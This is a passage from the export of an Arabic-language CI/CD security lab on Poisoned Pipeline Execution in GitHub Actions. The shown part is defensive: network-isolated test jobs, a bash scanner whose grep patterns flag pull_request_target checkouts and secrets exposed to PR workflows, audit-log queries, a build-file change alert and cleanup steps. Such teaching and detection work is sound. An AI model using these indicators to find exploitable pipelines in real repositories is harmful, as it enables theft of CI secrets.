runs-on: ubuntu-latest\n    container:\n      image: alpine:3.19\n      options: --network none  # No network access\n    steps:\n      - uses: actions\/checkout@v4\n      - name: Run untrusted tests\n        run: |\n          # This runs inside a container with NO network\n          # Even if the Makefile tries to exfiltrate, it cannot reach the internet\n          apk add --no-cache make\n          make test\n<\/code><\/pre>\n<p>\u0639\u0644\u0645 <code>--network none<\/code> \u064a\u0645\u0646\u0639 \u0623\u064a \u0627\u062a\u0635\u0627\u0644\u0627\u062a \u0635\u0627\u062f\u0631\u0629\u060c \u0645\u0645\u0627 \u064a\u062c\u0639\u0644 \u0627\u0644\u062a\u0633\u0631\u064a\u0628 \u0645\u0633\u062a\u062d\u064a\u0644\u0627\u064b \u062d\u062a\u0649 \u0644\u0648 \u0646\u064f\u0641\u0630 \u062d\u0645\u0648\u0644\u0629 \u0627\u0644\u0645\u0647\u0627\u062c\u0645.<\/p>\n<h2>\u0627\u0644\u062a\u0645\u0631\u064a\u0646 6: \u0627\u0644\u0643\u0634\u0641<\/h2>\n<p>\u0627\u0644\u0648\u0642\u0627\u064a\u0629 \u0647\u064a \u0627\u0644\u0623\u0641\u0636\u0644\u060c \u0644\u0643\u0646 \u0627\u0644\u0643\u0634\u0641 \u064a\u0648\u0641\u0631 \u062f\u0641\u0627\u0639\u0627\u064b \u0628\u0627\u0644\u0639\u0645\u0642. \u0625\u0644\u064a\u0643 \u0643\u064a\u0641\u064a\u0629 \u0627\u0643\u062a\u0634\u0627\u0641 \u0645\u062d\u0627\u0648\u0644\u0627\u062a PPE.<\/p>\n<h3>\u0645\u0631\u0627\u0642\u0628\u0629 \u0627\u0644\u0623\u0648\u0627\u0645\u0631 \u0627\u0644\u0645\u0634\u0628\u0648\u0647\u0629 \u0641\u064a \u0633\u062c\u0644\u0627\u062a CI<\/h3>\n<p>\u0623\u0646\u0634\u0626 \u0633\u0643\u0631\u0628\u062a \u0643\u0634\u0641 \u064a\u0641\u062d\u0635 \u0645\u0644\u0641\u0627\u062a \u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644 \u0628\u062d\u062b\u0627\u064b \u0639\u0646 \u0645\u0624\u0634\u0631\u0627\u062a \u062e\u0637\u0631 PPE \u0627\u0644\u0634\u0627\u0626\u0639\u0629:<\/p>\n<pre><code>#!\/bin\/bash\n# detect-ppe.sh \u2014 Scan workflow files for PPE risk indicators\n\nWORKFLOW_DIR=\".github\/workflows\"\nEXIT_CODE=0\n\necho \"=== PPE Risk Scanner ===\"\necho \"\"\n\n# Check 1: pull_request_target with checkout of PR head\nfor file in \"$WORKFLOW_DIR\"\/*.yml \"$WORKFLOW_DIR\"\/*.yaml; do\n  [ -f \"$file\" ] || continue\n\n  if grep -q \"pull_request_target\" \"$file\"; then\n    if grep -q \"github.event.pull_request.head\" \"$file\"; then\n      echo \"[CRITICAL] $file: pull_request_target + PR head checkout detected\"\n      echo \"           This is the classic D-PPE vulnerability.\"\n      EXIT_CODE=1\n    fi\n  fi\ndone\n\n# Check 2: Workflows that execute checked-out scripts\nfor file in \"$WORKFLOW_DIR\"\/*.yml \"$WORKFLOW_DIR\"\/*.yaml; do\n  [ -f \"$file\" ] || continue\n\n  if grep -qE '\\.\/.*.sh|make |npm run|yarn |python .*\\.py' \"$file\"; then\n    if grep -q \"pull_request\" \"$file\"; then\n      echo \"[WARNING]  $file: PR workflow executes repo scripts (I-PPE risk)\"\n      echo \"           Ensure no secrets are passed to this job.\"\n    fi\n  fi\ndone\n\n# Check 3: Secrets used in PR workflows\nfor file in \"$WORKFLOW_DIR\"\/*.yml \"$WORKFLOW_DIR\"\/*.yaml; do\n  [ -f \"$file\" ] || continue\n\n  if grep -q \"pull_request\" \"$file\"; then\n    if grep -q \"\\${{ secrets\\.\" \"$file\"; then\n      echo \"[HIGH]     $file: Secrets referenced in PR workflow\"\n      echo \"           Secrets should not be available in PR-triggered workflows.\"\n      EXIT_CODE=1\n    fi\n  fi\ndone\n\n# Check 4: Overly broad permissions\nfor file in \"$WORKFLOW_DIR\"\/*.yml \"$WORKFLOW_DIR\"\/*.yaml; do\n  [ -f \"$file\" ] || continue\n\n  if grep -q \"pull_request\" \"$file\"; then\n    if grep -q \"permissions: write-all\" \"$file\" || ! grep -q \"permissions:\" \"$file\"; then\n      echo \"[MEDIUM]   $file: PR workflow with broad or unset permissions\"\n      echo \"           Add explicit 'permissions: {}' or minimal scopes.\"\n    fi\n  fi\ndone\n\necho \"\"\nif [ $EXIT_CODE -eq 0 ]; then\n  echo \"No critical PPE risks detected.\"\nelse\n  echo \"Critical PPE risks found. Review the findings above.\"\nfi\n\nexit $EXIT_CODE\n<\/code><\/pre>\n<h3>\u0645\u0631\u0627\u0642\u0628\u0629 \u0633\u062c\u0644 \u0627\u0644\u062a\u062f\u0642\u064a\u0642 \u0641\u064a GitHub<\/h3>\n<p>\u0644\u0645\u0631\u0627\u0642\u0628\u0629 \u0639\u0644\u0649 \u0645\u0633\u062a\u0648\u0649 GitHub Enterprise \u0623\u0648 \u0627\u0644\u0645\u0624\u0633\u0633\u0629\u060c \u0627\u0633\u062a\u062e\u062f\u0645 API \u0633\u062c\u0644 \u0627\u0644\u062a\u062f\u0642\u064a\u0642 \u0644\u062a\u062a\u0628\u0639 \u062a\u063a\u064a\u064a\u0631\u0627\u062a \u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644:<\/p>\n<pre><code># Query audit log for workflow file modifications\ngh api \\\n  -H \"Accept: application\/vnd.github+json\" \\\n  \/orgs\/{org}\/audit-log?phrase=action:workflows \\\n  --paginate | jq '.[] | {actor: .actor, action: .action, repo: .repo, created_at: .created_at}'\n<\/code><\/pre>\n<h3>\u0645\u0631\u0627\u062c\u0639\u0629 PR \u0622\u0644\u064a\u0629 \u0644\u062a\u063a\u064a\u064a\u0631\u0627\u062a \u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0628\u0646\u0627\u0621<\/h3>\n<p>\u0623\u0636\u0641 \u0633\u064a\u0631 \u0639\u0645\u0644 \u064a\u064f\u0646\u0628\u0647 \u0639\u0646\u062f PRs \u0627\u0644\u062a\u064a \u062a\u0639\u062f\u0644 \u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0628\u0646\u0627\u0621 \u0627\u0644\u062d\u0631\u062c\u0629:<\/p>\n<pre><code>name: Build File Change Alert\n\non:\n  pull_request:\n    paths:\n      - 'Makefile'\n      - 'Dockerfile'\n      - '**\/*.sh'\n      - 'package.json'\n      - '.github\/workflows\/**'\n\njobs:\n  alert:\n    runs-on: ubuntu-latest\n    permissions:\n      pull-requests: write\n    steps:\n      - name: Comment warning\n        uses: actions\/github-script@v7\n        with:\n          script: |\n            await github.rest.issues.createComment({\n              owner: context.repo.owner,\n              repo: context.repo.repo,\n              issue_number: context.issue.number,\n              body: '\u26a0\ufe0f **Build File Change Detected**\\n\\nThis PR modifies build-critical files. A security team review is required before merging.\\n\\nModified paths trigger: Makefile, Dockerfile, shell scripts, package.json, or workflow files.'\n            });\n<\/code><\/pre>\n<h2>\u0627\u0644\u062a\u0646\u0638\u064a\u0641<\/h2>\n<p>\u0628\u0639\u062f \u0625\u0643\u0645\u0627\u0644 \u0627\u0644\u0645\u062e\u062a\u0628\u0631:<\/p>\n<ol>\n<li>\u0627\u062d\u0630\u0641 \u0645\u0633\u062a\u0648\u062f\u0639 <code>ppe-lab-victim<\/code>.<\/li>\n<li>\u0627\u062d\u0630\u0641 \u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639 \u0627\u0644\u0645\u064f\u0633\u062a\u0646\u0633\u062e (fork).<\/li>\n<li>\u0623\u0644\u063a\u0650 \u0623\u064a personal access tokens \u0623\u0646\u0634\u0623\u062a\u0647\u0627 \u0644\u0644\u0627\u062e\u062a\u0628\u0627\u0631.<\/li>\n<li>\u0623\u0632\u0644 \u0633\u0631 <code>MY_SECRET<\/code> \u0645\u0646 \u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639 \u0625\u0630\u0627 \u0643\u0627\u0646 \u0644\u0627 \u064a\u0632\u0627\u0644 \u0645\u0648\u062c\u0648\u062f\u0627\u064b.<\/li>\n<\/ol>\n<p>\u0644\u0627 \u062a\u062a\u0631\u0643 \u0633\u064a\u0631 \u0639\u0645\u0644 \u0627\u062e\u062a\u0628\u0627\u0631\u064a\u0629 \u0645\u0639\u0631\u0636\u0629 \u0644\u0644\u062e\u0637\u0631 \u062a\u0639\u0645\u0644 \u0641\u064a \u0623\u064a \u0645\u0633\u062a\u0648\u062f\u0639 \u062a\u0646\u0648\u064a \u0627\u0644\u0627\u062d\u062a\u0641\u0627\u0638 \u0628\u0647.<\/p>\n<h2>\u0627\u0644\u0646\u0642\u0627\u0637 \u0627\u0644\u0631\u0626\u064a\u0633\u064a\u0629<\/h2>\n<ul>\n<li><strong>\u0645\u0634\u063a\u0644 <code>pull_request<\/code> \u0622\u0645\u0646 \u0636\u062f D-PPE<\/strong> \u0644\u0623\u0646\u0647 \u064a\u0634\u063a\u0644 \u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644 \u0645\u0646 \u0627\u0644\u0641\u0631\u0639 \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u060c \u0648\u0644\u064a\u0633 \u0641\u0631\u0639 PR.<\/li>\n<li><strong><code>pull_request_target<\/code> + \u0633\u062d\u0628 PR head \u0647\u0648 \u0627\u0644\u0646\u0645\u0637 \u0627\u0644\u0623\u062e\u0637\u0631<\/strong> \u0641\u064a GitHub Actions. \u064a\u0645\u0646\u062d \u0643\u0648\u062f \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0627\u0644\u0623\u0633\u0631\u0627\u0631 \u0648\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u0643\u062a\u0627\u0628\u0629.<\/li>\n<li><strong>Indirect PPE \u064a\u062a\u062c\u0627\u0648\u0632 \u0627\u0644\u062d\u0645\u0627\u064a\u0627\u062a \u0639\u0644\u0649 \u0645\u0633\u062a\u0648\u0649 \u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644<\/strong> \u0639\u0646 \u0637\u0631\u064a\u0642 \u062a\u0633\u0645\u064a\u0645 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0627\u0644\u062a\u064a \u064a\u0646\u0641\u0630\u0647\u0627 \u0627\u0644\u0640 pipeline (Makefiles\u060c \u0627\u0644\u0633\u0643\u0631\u0628\u062a\u0627\u062a\u060c \u0627\u0644\u0625\u0639\u062f\u0627\u062f\u0627\u062a) \u0628\u062f\u0644\u0627\u064b \u0645\u0646 \u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644 \u0646\u0641\u0633\u0647.<\/li>\n<li><strong>\u0627\u0641\u0635\u0644 \u0627\u0644\u0645\u0631\u0627\u062d\u0644 \u063a\u064a\u0631 \u0627\u0644\u0645\u0648\u062b\u0648\u0642\u0629 \u0639\u0646 \u0627\u0644\u0645\u0648\u062b\u0648\u0642\u0629:<\/strong> \u0634\u063a\u0651\u0644 \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 PR \u0628\u062f\u0648\u0646 \u0623\u0633\u0631\u0627\u0631\u060c \u0648\u0627\u0645\u0646\u062d \u0627\u0644\u0623\u0633\u0631\u0627\u0631 \u0641\u0642\u0637 \u0644\u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644 \u0627\u0644\u0645\u064f\u0634\u063a\u0644 \u0628\u0648\u0627\u0633\u0637\u0629 push \u0625\u0644\u0649 \u0627\u0644\u0641\u0631\u0648\u0639 \u0627\u0644\u0645\u062d\u0645\u064a\u0629.<\/li>\n<li><strong>\u0627\u0644\u062f\u0641\u0627\u0639 \u0628\u0627\u0644\u0639\u0645\u0642 \u0636\u0631\u0648\u0631\u064a:<\/strong> \u0627\u062c\u0645\u0639 \u0628\u064a\u0646 CODEOWNERS\u060c \u0648\u0645\u062a\u0637\u0644\u0628\u0627\u062a \u0627\u0644\u0645\u0648\u0627\u0641\u0642\u0629\u060c \u0648\u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u062f\u0646\u064a\u0627\u060c \u0648\u0627\u0644\u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0645\u0639\u0632\u0648\u0644\u060c \u0648\u0633\u0643\u0631\u0628\u062a\u0627\u062a \u0627\u0644\u0643\u0634\u0641.<\/li>\n<li><strong>\u0639\u0627\u0645\u0644 \u0643\u0644 \u0645\u0644\u0641 \u0641\u064a PR \u0643\u0645\u062f\u062e\u0644 \u063a\u064a\u0631 \u0645\u0648\u062b\u0648\u0642<\/strong> &mdash; \u0644\u064a\u0633 \u0641\u0642\u0637 YAML \u0644\u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644\u060c \u0628\u0644 \u0643\u0644 \u0633\u0643\u0631\u0628\u062a \u0648\u0625\u0639\u062f\u0627\u062f \u0648\u0645\u0644\u0641 \u062a\u0628\u0639\u064a\u0627\u062a \u064a\u0644\u0645\u0633\u0647 \u0627\u0644\u0640 pipeline.<\/li>\n<\/ul>\n<h2>\u0627\u0644\u062e\u0637\u0648\u0627\u062a \u0627\u0644\u062a\u0627\u0644\u064a\u0629<\/h2>\n<p>\u0648\u0627\u0635\u0644 \u062a\u0639\u0632\u064a\u0632 \u0645\u0639\u0631\u0641\u062a\u0643 \u0628\u0623\u0645\u0627\u0646 CI\/CD \u0645\u0639 \u0647\u0630\u0647 \u0627\u0644\u0623\u062f\u0644\u0629 \u0630\u0627\u062a \u0627\u0644\u0635\u0644\u0629:<\/p>\n<ul>\n<li><a href=\"\/ar\/ci-cd-security\/ci-cd-execution-models-trust-assumptions-security-guide\/\">\u0646\u0645\u0627\u0630\u062c \u062a\u0646\u0641\u064a\u0630 CI\/CD \u0648\u0627\u0641\u062a\u0631\u0627\u0636\u0627\u062a \u0627\u0644\u062b\u0642\u0629<\/a> &mdash; \u0641\u0647\u0645 \u062d\u062f\u0648\u062f \u0627\u0644\u062b\u0642\u0629 \u0648\u0633\u064a\u0627\u0642\u0627\u062a \u0627\u0644\u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u062a\u064a \u062a\u062c\u0639\u0644 PPE \u0645\u0645\u0643\u0646\u0627\u064b.<\/li>\n<li><a href=\"\/ar\/ci-cd-security\/defensive-patterns-mitigations-ci-cd-pipeline-attacks\/\">\u0623\u0646\u0645\u0627\u0637 \u0627\u0644\u062f\u0641\u0627\u0639 \u0648\u0627\u0644\u062a\u062e\u0641\u064a\u0641 \u0644\u0647\u062c\u0645\u0627\u062a CI\/CD Pipeline<\/a> &mdash; \u0643\u062a\u0627\u0644\u0648\u062c \u0634\u0627\u0645\u0644 \u0644\u0644\u0623\u0646\u0645\u0627\u0637 \u0627\u0644\u062f\u0641\u0627\u0639\u064a\u0629 \u064a\u062a\u062c\u0627\u0648\u0632 PPE\u060c \u0648\u064a\u063a\u0637\u064a \u0642\u0627\u0626\u0645\u0629 OWASP CI\/CD Top 10 \u0628\u0627\u0644\u0643\u0627\u0645\u0644.<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>\u0646\u0638\u0631\u0629 \u0639\u0627\u0645\u0629 \u064a\u062d\u062a\u0644 Poisoned Pipeline Execution (PPE) \u0627\u0644\u0645\u0631\u062a\u0628\u0629 \u0627\u0644\u062b\u0627\u0646\u064a\u0629 \u0641\u064a \u0642\u0627\u0626\u0645\u0629 OWASP CI\/CD Security Top 10. \u0648\u0647\u0648 \u0641\u0626\u0629 \u0645\u0646 \u0627\u0644\u0647\u062c\u0645\u0627\u062a \u062d\u064a\u062b \u064a\u062a\u0644\u0627\u0639\u0628 \u0645\u0647\u0627\u062c\u0645 \u062e\u0628\u064a\u062b \u0628\u0639\u0645\u0644\u064a\u0629 \u0627\u0644\u0628\u0646\u0627\u0621 \u0639\u0646 \u0637\u0631\u064a\u0642 \u062d\u0642\u0646 \u0643\u0648\u062f \u0641\u064a \u062a\u0639\u0631\u064a\u0641\u0627\u062a \u0627\u0644\u0640 pipeline \u0623\u0648 \u0633\u0643\u0631\u0628\u062a\u0627\u062a \u0627\u0644\u0628\u0646\u0627\u0621\u060c \u0639\u0627\u062f\u0629\u064b \u0645\u0646 \u062e\u0644\u0627\u0644 pull request. \u0628\u0645\u062c\u0631\u062f \u0623\u0646 \u064a\u0644\u062a\u0642\u0637 \u0646\u0638\u0627\u0645 CI \u0627\u0644\u062a\u063a\u064a\u064a\u0631\u060c \u064a\u062a\u0645 \u062a\u0646\u0641\u064a\u0630 \u0643\u0648\u062f \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u062f\u0627\u062e\u0644 \u0628\u064a\u0626\u0629 \u0627\u0644\u0628\u0646\u0627\u0621 &#8230; <a title=\"\u0645\u062e\u062a\u0628\u0631: \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0648\u0627\u0644\u062f\u0641\u0627\u0639 \u0636\u062f Poisoned Pipeline Execution (PPE)\" class=\"read-more\" href=\"https:\/\/secure-pipelines.com\/ar\/ci-cd-security\/lab-exploiting-defending-poisoned-pipeline-execution-ppe\/\" aria-label=\"Read more about \u0645\u062e\u062a\u0628\u0631: \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0648\u0627\u0644\u062f\u0641\u0627\u0639 \u0636\u062f Poisoned Pipeline Execution (PPE)\">\u0627\u0642\u0631\u0623 \u0627\u0644\u0645\u0632\u064a\u062f<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26,67,31],"tags":[],"post_folder":[],"class_list":["post-820","post","type-post","status-publish","format-standard","hentry","category-ci-cd-security","category-labs","category-threats-attacks"],"_links":{"self":[{"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/posts\/820","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/comments?post=820"}],"version-history":[{"count":0,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/posts\/820\/revisions"}],"wp:attachment":[{"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/media?parent=820"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/categories?post=820"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/tags?post=820"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/post_folder?post=820"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}